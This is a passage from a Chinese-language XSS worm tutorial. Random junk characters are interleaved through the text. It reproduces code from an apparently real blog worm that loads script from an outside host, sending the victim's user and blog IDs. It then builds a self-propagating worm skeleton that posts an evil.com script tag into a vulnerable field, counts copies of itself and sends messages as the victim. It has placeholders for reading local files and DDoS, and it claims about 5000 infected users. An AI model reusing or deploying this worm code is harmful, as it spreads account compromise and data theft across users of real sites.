) P3 `8 V: Y* G# f E" ^$ w. v+ e myurls=mybloglist.indexOf(')'); [# O" O$ x5 i2 E
7 J7 i6 ]2 f- z* G: X# I
myblogid=mybloglist.substring(0,myurls);
( {4 g k3 O9 t% [, @% u S
+ `5 v( N: o7 e }else{break;}
) A6 u+ M' \1 w$ |2 A4 ~ y/ d5 E2 K) k& ^- c
}
4 Y9 M# i5 A7 C2 C6 ~
# a9 s& S4 T( ~4 _$ `get_my_testself(); //执行这个函数
5 J1 u8 a# a6 Z8 R- E8 ?
5 U+ z& ~" V( s/ E7 k3 T4 G! {}
. K. I8 W! k& c% U6 R
1 x3 }6 j P6 V. c
0 K! F x# _( l: Y9 Y; D( U; X/ E5 z% J% ~6 o" O% q
//这里往哪跳就不知道了
( _! |4 i% G/ f5 h$ V
+ |$ }5 ?' ^3 s$ _2 ]- {8 ^function get_my_testself(){
. d" J) `! I: r3 ~8 _# I1 o- X0 i, s( @* }& Q* i
for(i=0;i<myblogid.length;i++){ //获得blogid的值
/ }# p8 q7 Q4 G5 _) T3 V: s# @0 E' z! L# N( {
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();$ x& k, c" ~) d* `3 i( J( c
5 Z8 Q* C2 S( d* C4 J- F5 Z/ w' ` var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象+ ^# C1 T- G8 V5 n5 e/ V+ \+ t
5 C! N3 [9 H6 D if(xhr2){ //如果成功
7 K7 s$ \* t7 _# B1 a" P
. M: M. E7 M/ A9 Q& b: @ xhr2.open("GET",url,false); //打开上面的那个url
# ~) G( R s5 i1 L1 ^6 n& B F: l. d$ R
xhr2.send();
8 ]; Q/ W1 a( L. S& T8 w9 t7 S h6 X3 v" `: Z
guest2=xhr2.responseText;
. W4 F: ]1 Z3 d" R0 W3 p: ~3 n0 t8 h( Q m% [4 o* t5 |
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?& v( ~+ V1 Q3 Q( J h% l
' R& f4 B! r" K+ D6 w
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串% Y( d7 ?5 _7 N+ z
" m& D! A7 [, ~6 G3 O6 _ if(mycheckmydoit!="-1"){ //返回-1则代表没找到
( P4 j9 H. u" M' f9 q! W3 l$ d7 I# x* O6 }& s2 `
targetblogurlid=myblogid;
" F! L5 O% u7 r/ H7 a h$ D6 V/ ^/ [ T* V5 K* L! j( D
add_jsdel(visitorID,targetblogurlid,gurl); //执行它1 P/ w8 x# V* |9 M2 ]) ^: b
7 _4 ^% c) w+ d+ J; P
break;9 T5 |. _7 |! [! ~1 C( R6 T
6 g. a2 o; S: F' K c9 B
}, ~6 \* L; W* c/ z& f% [ P
2 |* {5 P1 ~* S3 c
if(mycheckit=="-1"){
5 L" X1 W$ s- k% J9 F j
0 S# c: T3 v5 X+ q0 ~ targetblogurlid=myblogid;
' S$ U8 j9 \! F2 \1 p; d; O3 k+ T: E- S$ t$ h5 U3 l
add_js(visitorID,targetblogurlid,gurl); //执行它
% q, t7 ~$ ^: k$ u/ F' z, e' X- t4 O2 {2 [) \
break;4 w# v3 F0 |4 {4 Z( s
6 T; T7 z- V$ ?- D- ^ I1 p+ N }. W; e$ {; }( v0 p1 P& I# C
0 A- L' K8 a5 V1 x
}
* P# `/ t8 g! e* N
. y, }! u9 V! s6 `. @; d' J8 u/ z! c _}2 o+ Q' }# G6 \9 E& P2 {4 J! |& \! d
6 Y) q& `, g8 ]+ ]/ d2 w1 t( N+ i8 @
}; h/ s. U' ]2 D5 @/ F0 l
7 {9 i7 Q* A6 D/ H% j7 p, |6 `) M( n% h2 w W. k( ]4 n7 \
6 x& x4 W" v) ~; t: O//--------------------------------------
" V. y" b* o- h7 Q' ~8 a3 p1 {# K, t6 q
//根据浏览器创建一个XMLHttpRequest对象
3 |3 v( ^/ ^1 P( `- ?4 N, t
4 h# o% r u u: N3 I" o$ R: x" Zfunction createXMLHttpRequest(){
0 M& a! v2 t& ~2 a7 g O! F
) d( w) h5 V. c var XMLhttpObject=null; 6 e2 I5 r; @' p L$ y
% F# N5 K' i" l if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} ) q# e* b7 ], l7 _
* q4 D" j5 j5 q, G( L else , E1 A3 r4 }, n0 i! f% d: ^
5 s7 h! q0 L$ {, V8 ` { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
6 w& E: |" l: t
B; z" c2 ^2 i for(var i=0;i<MSXML.length;i++) 6 |5 y+ l# ?* u0 a+ c
9 D0 @. c6 n# `' g% x% G9 U
{
& ^( `* \8 Q6 | p( C0 A7 @/ S2 h/ n% c5 \/ }9 O* s$ k$ w
try * o; }9 n# d. H! \) O1 i
3 Z) U+ l {. @% l# Q% S {
$ S/ }* q0 Z8 M( P' n& }3 J- j; x" ?) `" Q& S
XMLhttpObject=new ActiveXObject(MSXML);
0 c' R3 r: O4 F$ j6 e: F ]. B: t8 l
" Z, r; ]5 {7 r( k) ? break;
, o6 I7 u& b O4 }2 }, t3 {, F: ?. S! ^. Z- U3 ~! X& C
}
& m. Z5 Q2 F" s; J2 c) h" }# P
8 ]. g4 A2 \7 C- O" q: q catch (ex) {
u f& V9 X9 m9 f4 f( ]2 Q2 A7 ?" C& D' C: }3 n3 K, d
}
/ w, M. f2 a: W! V5 c. V& k8 v& S( |
8 a+ c! g- M. G% |- F7 b }
- M$ j1 R/ z) P! [; w
+ {8 i! V1 L* ]& [: o. p }1 i, \8 {; i' G _5 Q+ p4 n: _
! @: C( t+ V5 h- Y* o. U
return XMLhttpObject; d- q* P3 E( E( Z" x
, ]8 n, \* j2 L
} 7 T, B- m' [: ^' Y0 Y' x
7 B8 [3 ]* [6 P
. x3 F- k7 Z9 s' V1 h! [- S4 C3 |! @
//这里就是感染部分了1 ^0 ~2 g# s$ {+ m2 ?8 G3 \: m1 Y8 R q
+ J7 d* j2 a5 W7 j
function add_js(visitorID,targetblogurlid,gurl){* G( P! V. z7 c8 X- f( c% I
5 F; _- K+ h8 S! l1 N
var s2=document.createElement('script');- K1 ]! r" n, [/ } N# ?
, D7 x% [8 ]: s' d
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
* K# s0 Z: ~- a" v7 E/ O O
2 [+ O5 g% V# `% [$ D8 Ss2.type='text/javascript';( x6 B& g' X( x6 ]
* z2 v% p$ |) P3 x% k* g& J
document.getElementsByTagName('head').item(0).appendChild(s2);
7 W" ~0 {7 \+ ]! n$ a8 Q
. u9 y0 _: l5 _# S6 [9 J) r}
) S- G4 x$ Y4 L* B3 A+ o8 @& n, P; X8 S
# ^$ o! p7 d% u
0 `+ _$ g* G' s: @6 `function add_jsdel(visitorID,targetblogurlid,gurl){
6 X9 a; O( `( Z3 D0 r7 D- o% u; l" H# N
var s2=document.createElement('script');
/ A$ r' i6 \; p1 R
# \7 P4 R8 t6 J/ n; {) u# t. Js2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();( a; r$ E L N5 r" i
- H) ^, E2 ^* \/ b' X+ Z. I7 Q
s2.type='text/javascript';: w; I, G- m+ h6 {
8 r, P& \# I- z% S8 J8 Z
document.getElementsByTagName('head').item(0).appendChild(s2); X+ g7 m; X! h4 c% r7 A/ g W( c" h
3 S2 J# R2 Y+ f/ E5 t}
% G. |! _% b Y5 t% `复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:' l/ F8 U6 A1 @. K* p- n0 g# ?
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)! P9 @9 s N% }1 @
9 w# d2 A9 H ?( k2 R2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)$ K% e' l! `3 s3 r; g x
- {8 g$ N0 X. v5 d4 M) [$ i4 b
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
2 m: E2 I+ [" u+ M# {$ b" ]( E5 v8 z- |2 _3 x7 e( m, V
; F L5 Q! s9 n2 N4 ?$ }! i
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
3 x# e( {' y$ P+ {: O+ U
3 f1 ^8 _% p. ^3 H. d5 x首先,自然是判断不同浏览器,创建不同的对象var request = false;
0 Z+ c$ s3 F l5 [2 M7 w. K7 a" W% u4 L. V1 ?. p
if(window.XMLHttpRequest) {
% F2 N `$ G a. \6 w! @ S, G* r g! T8 j, S! b
request = new XMLHttpRequest();
0 e) p& u8 D& o X9 ]: W2 E6 { N9 v7 s# G; y% W# e& `
if(request.overrideMimeType) {
$ j+ }4 o3 f7 Y( o/ h' P* n
# C2 f/ N" l% vrequest.overrideMimeType('text/xml');
) P! u; A5 Z3 Z+ O& y4 D
( j5 a' {) C% [5 `}8 Y$ p/ @+ v% c9 z; G2 c
7 c8 P) ` e* ?& p# Q} else if(window.ActiveXObject) {
+ e0 \ e6 X2 M( U2 D) ]1 D _5 I
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
: g1 x2 x# w3 _( \
; f, s) q- G, ~+ o, kfor(var i=0; i<versions.length; i++) {
3 w3 n4 x P2 v, n% G; K( W+ T5 D
try {
/ ?1 D* T+ H) [! O* W9 B
9 K2 x4 ?- E- \5 D' M' Y) T( j: Qrequest = new ActiveXObject(versions);9 E! j( R6 n( s7 U1 B5 g8 h4 k1 {
- z) [# z6 p( @3 k
} catch(e) {}; f* M! S+ a8 k! k6 a3 `1 j
1 M- Y0 |: Y# m6 A}
0 g) m0 Y! C6 S! x5 V8 m& X
, }7 U- H$ X. p" [" D& h}' P& E5 C) g4 h2 i
" W. } c/ `( I# p. `! i& A
xmlHttpReq=request;
# R6 `1 ~) b) U: c3 @/ U; J8 P' P复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){+ I1 ?) v& w6 Z9 M$ I
% [1 r/ k* C2 R) ~- _
var Browser_Name=navigator.appName;/ N- \8 q, I( Q# {3 D, [1 a9 j
6 P/ g: r+ q9 H1 a' v% Z
var Browser_Version=parseFloat(navigator.appVersion);
' m: [- w0 z6 y: K' ?3 c7 R& P+ Q v$ O' ?9 R
var Browser_Agent=navigator.userAgent;% C8 W: x8 h3 @
5 k$ C( H# C5 Q; w / E* ~% p. \4 m) z
3 a5 c0 y! ^8 @; C" |. M7 E var Actual_Version,Actual_Name;
% H ~+ {* m3 p9 t! i
7 V- _# @7 K/ ~# G* Z7 w: z! X
+ |; O' q: |4 f3 C* v* n' E" C
) n5 o n# q2 J var is_IE=(Browser_Name=="Microsoft Internet Explorer");' B- W7 X7 V7 |$ i
; {7 }7 d( k: @4 M! r. d* R
var is_NN=(Browser_Name=="Netscape");7 G9 R2 }% {2 x" }2 |8 Z, w+ w, y0 V% Y
" K) g* ?- z5 \6 P: P, m
var is_Ch=(Browser_Name=="Chrome");4 g/ I! u& j% e
9 t/ k5 l2 F+ F3 f6 q D
/ v2 ^9 }; b+ k2 D* c$ e. q
3 u9 u3 U" z- I, a% m5 o' m if(is_NN){! ^& c: `. N0 \- J0 v
# V* D- a9 X* v. Y if(Browser_Version>=5.0){! P* P- h' {5 X# p* H/ s! G& |
( s% K/ Y/ k; N; J3 _& S
var Split_Sign=Browser_Agent.lastIndexOf("/");$ V. B# M8 h; W: f9 g) H& M
" ^' R' O+ z# V; ? [/ Y
var Version=Browser_Agent.indexOf(" ",Split_Sign);
& ?9 G$ t0 c/ {2 \3 G& o5 k* o H7 x. L1 |! C
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);: ~/ i8 C" z u+ M* ~1 |
' @ E+ R' t: L0 h( l( F) ~' l# M3 u" h: X/ P/ Q: }1 q
9 Y# k+ J- I( Q Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
9 u+ u. r7 ^ m0 `
~. v3 C) d1 C5 I, ?2 a# k Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);' R2 T$ N5 @+ b& E3 q
9 ] h" V1 J1 A1 i( u }7 ~0 R G1 o ~: z+ m" w
m7 A8 g. s8 { N
else{/ q4 F/ \2 M+ ]; h& S5 S" j2 p! d
* l3 Y+ N4 d5 b7 [
Actual_Version=Browser_Version;5 e; `* d+ O1 ]0 D6 E
Z& M& {2 f( @2 m0 f! T Actual_Name=Browser_Name;! ~1 c y% K! W) T1 W5 D
0 Q2 o" ?/ k/ \+ r* a4 F }1 d! b: v$ G$ K7 z5 X2 }
3 {& t8 a% S1 P) p4 x }
6 {1 i. o7 {% }" y* [ Z* {) B8 c( h; F6 z' ~8 W+ G. z. j8 s; H
else if(is_IE){& ?8 P2 p. t' S( o$ y
1 b4 N5 R* A/ p9 A/ { var Version_Start=Browser_Agent.indexOf("MSIE");
; Q' s: D+ I8 i# X- e8 q0 w
[+ k* C' ~) b/ t: Y8 D& q2 I var Version_End=Browser_Agent.indexOf(";",Version_Start);
2 S4 ~! m( o+ d' h, w/ G/ n+ F- e* d/ q8 T: S- m1 k8 X$ M
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
! q& u1 a( R2 \/ M
4 n) U% v' N) Q& I Actual_Name=Browser_Name;
: ?: I2 G. o# D- s9 l* E# A+ V" Y7 ?
6 G% G9 ^1 S1 y2 R" s4 L, [9 T& ~5 \# P3 Z7 j
if(Browser_Agent.indexOf("Maxthon")!=-1){
' X4 p) p6 o0 j" ~* p5 h# r: W& e& ^
Actual_Name+="(Maxthon)";% @9 G" h* e0 \$ b2 J4 u
# p- k! d0 G+ ?9 @
}
& l- }) X8 g5 @! S g* s/ O
. l; `0 [4 ?2 c3 u else if(Browser_Agent.indexOf("Opera")!=-1){
: m! }0 D' ~% Y$ I# o# c: d1 C# C
% Y* ^* x* P; j) S, Q Actual_Name="Opera";) }, A; q |% X' K( A7 a' V
/ m+ q# u. R2 U
var tempstart=Browser_Agent.indexOf("Opera");
# o2 I9 H: E$ L4 q# a* D( N0 b
; J5 u* }& `8 l1 e& A F var tempend=Browser_Agent.length;
" i- x& ]4 U& i3 s) m8 J$ d9 e( L& u1 m8 @
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
* |0 l! D% l4 r0 Y _/ H, p3 r# ~2 r* s9 f% x. A6 ?9 P* U
}, j1 y& p0 W& g& y ?! l
* Y2 c7 A; O& n
}, R5 @2 U B0 S8 }+ H
/ u" A. U9 v) E/ ^ else if(is_Ch){
) W9 \) g; Y/ Z6 U6 g7 T
& y& q" h; D7 I3 B3 U var Version_Start=Browser_Agent.indexOf("Chrome");2 O$ {/ E: g2 E7 B
# z# _! Z. \, A2 } w var Version_End=Browser_Agent.indexOf(";",Version_Start);
$ L- L$ s+ [9 i. u6 c
* r1 U0 H% g! M0 E, S Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)$ D# @3 l6 M6 b6 m' N
# n( B$ D! a6 L/ s1 S
Actual_Name=Browser_Name;
4 W/ u! D1 f6 ?% Q+ q% ]7 O/ I/ A! p9 {( T4 ~$ d. v+ U
- J- @- g) g8 C
& D- t7 ?6 N/ G
if(Browser_Agent.indexOf("Maxthon")!=-1){
& P5 p; Y9 b" X9 |8 \# g( s$ ^+ u& Q# D! n$ r) V1 Q3 ]
Actual_Name+="(Maxthon)";
/ z& `2 l* p$ h( p1 x$ l' |
) s6 ]: F- N# t( l }
& ?0 W) H$ Y/ J# d7 E/ S/ _7 h) e- ?( {% b1 [1 p) K& T8 C
else if(Browser_Agent.indexOf("Opera")!=-1){
9 b4 a$ c4 G7 t! _! A& d& M6 e4 w8 ^" B! e V
Actual_Name="Opera";7 U0 j! I4 V: Q+ A
: ?# ?+ Q0 E/ N: w
var tempstart=Browser_Agent.indexOf("Opera");
4 O% R+ ^" n# z! S) u( R' {
' U- I# o, D) T h( R) F- d6 r/ X var tempend=Browser_Agent.length;
u; @" x. A7 e! P- Z0 x b6 p/ R" |/ [3 }& y/ d$ U
Actual_Version=Browser_Agent.substring(tempstart+6,tempend); Z! m- ]; W0 W( Z) C: B
( w* D# g$ q+ k
}
! K# }& h! H+ s. i
6 U+ ^0 t- I( ]2 Y/ x) x }
. a( w; X4 Q5 o, n- [ N& ]$ H: \- G, X4 v+ O; M& l
else{* b% g6 u2 N" J( {' N
; Y- Y0 B0 r+ Z4 I
Actual_Name="Unknown Navigator". l5 t8 ^& O z' i# i. Z- m6 q5 O
% t4 M% t# g* e+ N4 l7 O
Actual_Version="Unknown Version" V3 N4 V, \8 G9 e' _3 G d
|6 R$ N5 G9 j, l8 ^/ I0 W
}8 d3 o- k: W, C* j( I: n
! r ~) k' N- v6 r6 u1 g
o3 t# y' e; e/ x) J! i- P( J/ R0 Y
: x$ n( Z$ y( n8 |& P navigator.Actual_Name=Actual_Name;
4 ?* b" G/ R6 a0 Q8 j7 V
. Y8 L, v" K2 o- P0 H% R6 _4 H navigator.Actual_Version=Actual_Version;
, {4 O# f( O, G; s9 m: i) x
& {0 _! ^& c9 K/ B# H- i0 A 9 O) A' |3 t* c# G5 M
3 a: J. j1 U B
this.Name=Actual_Name;
% ^! k& D& |, I9 x u0 E) X
5 {' j j# d; h3 G! [: U0 Q ]% o this.Version=Actual_Version;
5 R, O8 Y9 X F# |- e, A+ a! k# D+ p, q- Z
}
8 b& N b& T0 I
" a1 ?. Q1 m5 L browserinfo();
. F8 J T" a! R$ e8 r/ B' S8 M7 q1 G- c& |: |8 P \% K4 d
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
1 a" B9 {6 b8 E2 G$ Z& S1 _+ E1 c9 J! t6 J7 g, k, y3 Q
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
# h n8 C! K( B, R' b9 `
; u5 u6 S, s. q1 B if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
6 Y4 B$ r9 u1 P& v: b; H6 H8 F
: \* ]) H$ Y! }+ W0 `/ l8 [! z, k if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}: H3 t. s- x" Z$ I; c. m
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码% h3 p% H4 Z, Q* t- R8 `% }
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
- Y! j3 } V |! I1 }5 B复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.* C4 O! S$ I. T7 e; }! z9 U5 k
o8 C: w3 g8 M6 [9 l
xmlHttpReq.send(null);
& N$ ?& g! _+ A3 `# e5 |( \7 d% k; I2 j
var resource = xmlHttpReq.responseText;. K) I5 I7 W9 P" @. T( ~2 H, v0 Z
8 w+ k7 Q' S( s. Z
var id=0;var result;
' G a4 J2 |9 J
) Z% {# ]9 ^; }8 rvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.5 Z2 I1 z# [2 \+ A" P5 Q
; Z; z2 |& f' `
while ((result = patt.exec(resource)) != null) {
8 x5 } e4 T) T/ {! _- m' M, G- o) _' x, Q: h
id++;* G1 Y! H9 r! k `* {: w/ I
X4 n8 i% D2 L; [& Q, x; n6 i}
3 \* e7 P @" G+ G- s9 l V复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.' k, L+ A7 J% I+ x" l
# k" d9 \9 T1 I5 @ j
no=resource.search(/my name is/);
- j* P, Y0 h; D% s1 z4 S( v2 g" o% o
var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.% y7 m3 a C& i' z( `: t! W" x
& \( U4 M( g; E( X8 H" N
var post="wd="+wd;
) Y/ @6 u5 f: ?2 ` x9 F0 V$ M
- _) M) u9 X1 f9 v, |: P& P( axmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
- F1 r2 n# {. x X4 Y0 X9 @1 W V5 f6 W) P' ~' i, D; ~
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");6 r) `9 [4 o" `$ u' v$ t
* U7 K! G+ m. c, q" q0 {0 h
xmlHttpReq.setRequestHeader("content-length",post.length); 3 Z8 I# ~8 G- V) r2 d8 G
9 J# l# ^7 V' IxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
' s( x3 h' y9 o5 W& B; Z. h5 Y; Y, Q, \$ k! I
xmlHttpReq.send(post);4 Y/ A+ {6 H1 @! N$ I
, C5 b; F& w, W' h3 n3 k j
}/ R2 W" A. M1 _1 o; P
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
6 t; x9 O! l% ^9 k6 B& L1 w n$ F0 Q0 K3 C( O4 ]$ ~
var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方! @4 f* F$ \' W9 l# w
& M3 {( Y$ C W% m# }0 \
var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.. i4 ^* m: _) j1 }
8 g" Z i$ J' V7 R6 a
var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取. D2 G8 i' d2 P) r% a/ Z) Y
5 \8 q8 \6 s4 E9 U+ p" hvar post="wd="+wd;% s2 y: H/ {7 e9 N- U; c, S% c
/ r! Y0 c Y6 ]$ {
xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
. |& x7 P: R \+ c# m
7 K. A6 r. z' W0 ? pxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
2 U2 O6 Y I* B5 b- U9 i& k! [1 `0 e" x# Q' v& S. q! y+ B$ E) Y
xmlHttpReq.setRequestHeader("content-length",post.length); 6 Y' [" G9 F$ d( d' \0 ~( Z
, W" }8 m" M) v1 [# e
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");. ~) c. }: r" b- N8 R" Z" ~8 o
, j0 T: _0 e" V9 {xmlHttpReq.send(post); //把传播的信息 POST出去.
0 B1 Y0 z1 Q% \* n- u7 P
( c. Y: M; W- A% h& B8 R1 u- K}% D1 b. q( L. G, Z8 Z
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
1 L% q9 q. T3 s$ W0 t
' R. `9 y. ~" p6 Q. y/ q8 V' v) @( P0 r; F
. s8 R5 k( n2 m$ ^0 U9 O, r+ t3 h本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.7 b) k$ v! `( t/ u6 i- F9 Z
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
6 L; N2 O# D* c操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
( Y, H8 M! u7 |4 S B$ G8 J+ w5 _$ A6 @ d6 n) q& ]
: V! x: e6 u# j; C
& |, X/ M* J& e) G% P# R
2 B* P% N* Z( b3 q
2 s& y' m& W# Y2 ^
' t: d, {+ _0 B$ Z. W: h; \9 V* }" E1 |+ m
7 \/ N$ O" H3 o1 E1 q+ u. B
本文引用文档资料:! t8 m$ |* l1 l5 C% z$ d% b' _
: x. g% @% U6 d' {. b& q9 n# k
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)% C" O: l z9 g/ w7 b2 |. E j% i
Other XmlHttpRequest tricks (Amit Klein, January 2003)- o0 v) y- d# j) A& q5 G2 f
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
6 g0 j) I" n" Q" b* w% z" ?http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog% y8 r! {; T0 B1 F( c
空虚浪子心BLOG http://www.inbreak.net& a" |* P4 G- R# `7 w
Xeye Team http://xeye.us/
! o- Q$ j* f S' n |